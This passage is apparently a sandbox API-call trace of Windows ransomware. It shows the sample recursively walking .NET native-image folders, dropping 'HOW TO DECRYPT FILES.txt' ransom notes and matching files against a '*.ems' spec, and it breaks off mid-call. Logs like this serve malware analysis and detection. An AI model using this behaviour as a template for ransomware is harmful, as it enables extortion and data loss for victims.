cFileName="8ad0e1382ab6565741bbb64b965f2748", cAlternateFileName="8AD0E1~1")) returned 1 [0112.777] lstrcmpA (lpString1=".", lpString2="8ad0e1382ab6565741bbb64b965f2748") returned -1 [0112.777] lstrcmpA (lpString1="..", lpString2="8ad0e1382ab6565741bbb64b965f2748") returned -1 [0112.777] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\*.*") returned="*.*" [0112.777] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\", lpString2="8ad0e1382ab6565741bbb64b965f2748" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748" [0112.777] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c652e62, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c652e62, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.778] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c652e62, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c652e62, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.778] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.778] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.778] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c606ba1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c606ba1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c606ba1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x60c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.778] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.778] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0112.778] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0112.778] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll") returned -1 [0112.778] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\*.*") returned="*.*" [0112.778] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\" [0112.779] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\") returned="" [0112.779] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\HOW TO DECRYPT FILES.txt" [0112.779] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.runtime.seri#\\8ad0e1382ab6565741bbb64b965f2748\\how to decrypt files.txt")) returned 0xffffffff [0112.779] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.runtime.seri#\\8ad0e1382ab6565741bbb64b965f2748\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.783] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.783] CloseHandle (hObject=0x90) returned 1 [0112.783] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\", lpString2="System.Runtime.Serialization.Formatters.Soap.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\System.Runtime.Serialization.Formatters.Soap.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\System.Runtime.Serialization.Formatters.Soap.ni.dll" [0112.783] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\System.Runtime.Serialization.Formatters.Soap.ni.dll", pszSpec="*.ems") returned 0 [0112.783] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c606ba1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c606ba1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c606ba1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x60c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.783] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.783] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c652e62, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c652e62, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="8ad0e1382ab6565741bbb64b965f2748", cAlternateFileName="8AD0E1~1")) returned 0 [0112.783] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.783] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee902dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee902dd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Security", cAlternateFileName="SYSTEM~1.SEC")) returned 1 [0112.783] lstrcmpA (lpString1=".", lpString2="System.Security") returned -1 [0112.784] lstrcmpA (lpString1="..", lpString2="System.Security") returned -1 [0112.784] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.784] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Security" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security" [0112.784] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee902dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee902dd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.784] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.784] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee902dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee902dd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.784] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.784] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.784] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee902dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee902dd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="821d4406efa3556465e6244fae26b536", cAlternateFileName="821D44~1")) returned 1 [0112.784] lstrcmpA (lpString1=".", lpString2="821d4406efa3556465e6244fae26b536") returned -1 [0112.784] lstrcmpA (lpString1="..", lpString2="821d4406efa3556465e6244fae26b536") returned -1 [0112.784] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\*.*") returned="*.*" [0112.784] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\", lpString2="821d4406efa3556465e6244fae26b536" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536" [0112.784] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee902dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee902dd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.785] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.785] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee902dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee902dd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.785] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.785] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.785] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee1debc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee1debc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee4401c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xe2c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Security.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.785] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.785] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Security.ni.dll") returned -1 [0112.785] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Security.ni.dll") returned -1 [0112.785] lstrcmpiA (lpString1="", lpString2="System.Security.ni.dll") returned -1 [0112.785] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\*.*") returned="*.*" [0112.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\" [0112.785] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\") returned="" [0112.785] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\HOW TO DECRYPT FILES.txt" [0112.785] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.security\\821d4406efa3556465e6244fae26b536\\how to decrypt files.txt")) returned 0xffffffff [0112.786] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.security\\821d4406efa3556465e6244fae26b536\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.787] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.788] CloseHandle (hObject=0x90) returned 1 [0112.788] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\", lpString2="System.Security.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\System.Security.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\System.Security.ni.dll" [0112.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\System.Security.ni.dll", pszSpec="*.ems") returned 0 [0112.788] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee1debc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee1debc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee4401c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xe2c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Security.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.788] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.788] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ee902dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ee902dd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="821d4406efa3556465e6244fae26b536", cAlternateFileName="821D44~1")) returned 0 [0112.788] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.788] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd544cedc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd544cedc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ServiceModel", cAlternateFileName="SYSTEM~4.SER")) returned 1 [0112.788] lstrcmpA (lpString1=".", lpString2="System.ServiceModel") returned -1 [0112.788] lstrcmpA (lpString1="..", lpString2="System.ServiceModel") returned -1 [0112.788] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.788] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.ServiceModel" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel" [0112.788] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd544cedc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd544cedc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.789] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.789] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd544cedc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd544cedc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.789] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.789] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.789] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd544cedc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd544cedc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ac74a0642981011a441823a762bfb3d8", cAlternateFileName="AC74A0~1")) returned 1 [0112.789] lstrcmpA (lpString1=".", lpString2="ac74a0642981011a441823a762bfb3d8") returned -1 [0112.789] lstrcmpA (lpString1="..", lpString2="ac74a0642981011a441823a762bfb3d8") returned -1 [0112.789] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\*.*") returned="*.*" [0112.789] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\", lpString2="ac74a0642981011a441823a762bfb3d8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8" [0112.789] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd544cedc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd544cedc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.790] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.790] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd544cedc, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd544cedc, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.790] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.790] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.790] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4e597d1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd4e597d1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd50e0f36, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x16ce600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.790] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.790] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.ni.dll") returned -1 [0112.790] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.ni.dll") returned -1 [0112.790] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.ni.dll") returned -1 [0112.790] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\*.*") returned="*.*" [0112.790] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\" [0112.790] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\") returned="" [0112.790] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\HOW TO DECRYPT FILES.txt" [0112.791] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.servicemodel\\ac74a0642981011a441823a762bfb3d8\\how to decrypt files.txt")) returned 0xffffffff [0112.791] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\HOW TO DECRYPT FILES.txt" (normalized: 